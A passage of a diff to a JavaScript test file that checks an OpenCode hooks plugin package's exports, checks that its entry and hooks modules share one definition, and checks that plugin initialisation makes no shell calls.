mod.default.setup, "function") + + const hooksMod = await import(pathToFileURL( + path.join(path.dirname(process.argv[1]), "plugins", "ecc-hooks.js") + ).href) + assert.strictEqual(hooksMod.default, mod.default, "entry and hooks module must share one definition") + assert.strictEqual(typeof hooksMod.ECCHooksPlugin, "function", "hooks module must export the V1 factory") let shellCalls = 0 - const plugin = await mod.default({ + const plugin = await hooksMod.ECCHooksPlugin({ client: { app: { log: () => {} } }, $: async () => { shellCalls += 1 @@ -244,7 +264,7 @@ function main() { worktree: process.cwd(), }) assert.strictEqual(shellCalls, 0, "$ must not be called during plugin init") - assert.ok(plugin && typeof plugin === "object", "default export must return a plugin record") + assert.ok(plugin && typeof plugin === "object", "factory must return a plugin record") const expectedHooks = [ "file.edited", "tool.execute.after", @@ -287,6 +307,47 @@ function main() { }) assert.strictEqual(result.status, 0, result.stderr) }], + ["ecc-universal package ./plugins export resolves to the live hooks entry", () => { + const pkgDir = path.join(repoRoot, ".opencode") + const pkg = JSON.parse(fs.readFileSync(path.join(pkgDir, "package.json"), "utf8")) + assert.strictEqual(pkg.name, "ecc-universal") + const pluginExport = pkg.exports && pkg.exports["./plugins"] + assert.ok(pluginExport, "ecc-universal must declare an ./plugins export") + for (const key of ["types", "import"]) { + const rel = pluginExport[key] + assert.ok(rel, `./plugins export must declare ${key}`) + assert.ok( + fs.existsSync(path.resolve(pkgDir, rel)), + `./plugins ${key} target must exist after the build: ${rel}`, + ) + } + // The export must point at the LIVE plugin, not the inert barrel: same + // default definition, V1 factory, and a distinct-id barrel behind it. + const check = ` + const assert = require("assert") + const path = require("path") + const { pathToFileURL } = require("url") + async function main() { + const pkgDir = process.argv[1] + const pkg = require(path.join(pkgDir, "package.json")) + const live = await import(pathToFileURL(path.resolve(pkgDir, pkg.exports["./plugins"].import)).href) + assert.strictEqual(live.default.id, "ecc-hooks", "./plugins must expose the live plugin definition") + assert.strictEqual(typeof live.default.setup, "function") + assert.strictEqual(typeof live.ECCHooksPlugin, "function", "./plugins must expose the V1 factory") + const barrel = await import(pathToFileURL( + path.join(pkgDir, "dist", "plugins", "index.js") + ).href) + assert.strictEqual(barrel.default.id, "ecc-hooks-entry", "compiled barrel must keep the distinct id") + assert.notStrictEqual(barrel.default, live.default, "barrel must not re-export the live definition") + } + main().catch((error) => { console.error(error); process.exit(1) }) + ` + const result = spawnSync(process.execPath, ["-e", check, pkgDir], { + cwd: repoRoot, + encoding: "utf8", + }) + assert.strictEqual(result.status, 0, result.stderr) + }], ["compiled barrels load and share the lazy changed-files store", () => { checkRuntime(path.dirname(distEntry), ".js") }],